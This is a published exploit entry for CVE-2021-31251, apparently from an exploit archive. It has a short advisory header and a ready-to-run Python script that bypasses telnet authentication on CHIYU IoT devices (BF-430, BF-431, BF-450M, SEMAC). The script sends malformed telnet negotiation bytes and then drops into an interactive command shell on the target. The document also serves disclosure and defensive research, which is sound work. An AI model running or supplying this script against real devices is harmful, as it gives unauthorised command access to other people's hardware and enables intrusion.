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CHIYU IoT Devices - 'Telnet' Authentication Bypass

sirpedrotavares

# Exploit Title: CHIYU IoT Devices - 'Telnet' Authentication Bypass
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, BF-450M, and SEMAC   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, BF-450M, and SEMAC
# CVE: CVE-2021-31251
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

"""
Description: Several IoT devices from the CHIYU Technology firm are
vulnerable to a flaw that permits bypassing the telnet authentication
process due to an overflow during the negotiation of the telnet protocol.
Telnet authentication is bypassed by supplying a specially malformed
request, and an attacker may force the remote telnet server to believe that
the user has already authenticated. Several models are vulnerable,
including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware
versions.
CVE ID: CVE-2021-31251
CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31251
"""

#!/usr/bin/env python3

# usage: python3 exploit.py IP

import socket
import time
import sys

HOST = sys.argv[1]
PORT = 23

socket.setdefaulttimeout(10)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    connect = s.connect_ex((HOST, PORT))
    try:
        print("[+] Try to connect...\n")
        time.sleep(1)
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        s.recv(1024).strip()
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        s.recv(1024).strip()
        s.send(b"\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18")
        result = s.recv(1024).strip()
        if result != b'\xff\xfe\x01':
            s.send(b"\x09")
            result = s.recv(1024).strip()

        if connect == 0 and "sername" not in str(result):
            if b"\xff\xfe\x01" == result:
                print("Connected! ;)\ntype: \"help\"\n\n")
                while 1:
                        cmd = input("(CHIYU pwnShell:) $ ")
                        body = cmd+"\n"
                        s.send(body.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode('utf8', 'ignore')

                        if not len(result):
                            print("[+] CHIYU device not available, try
again ... (terminating)")
                            s.close()
                            break
                        print(result.strip('CMD>'))
                        b = "\n"
                        s.send(b.encode('utf-8', 'ignore'))
                        result = s.recv(1024).decode()
                        print(result.strip('CMD>'))
    except KeyboardInterrupt:
        print("\n[+] ^C Received, closing connection")
        s.close()
    except EOFError:
        print("\n[+] ^D Received, closing connection")
        s.close()

except socket.error:
    print("[+] Unable to connect to CHIYU device.")

date: 2021-06-03, platform: remote, type: hardware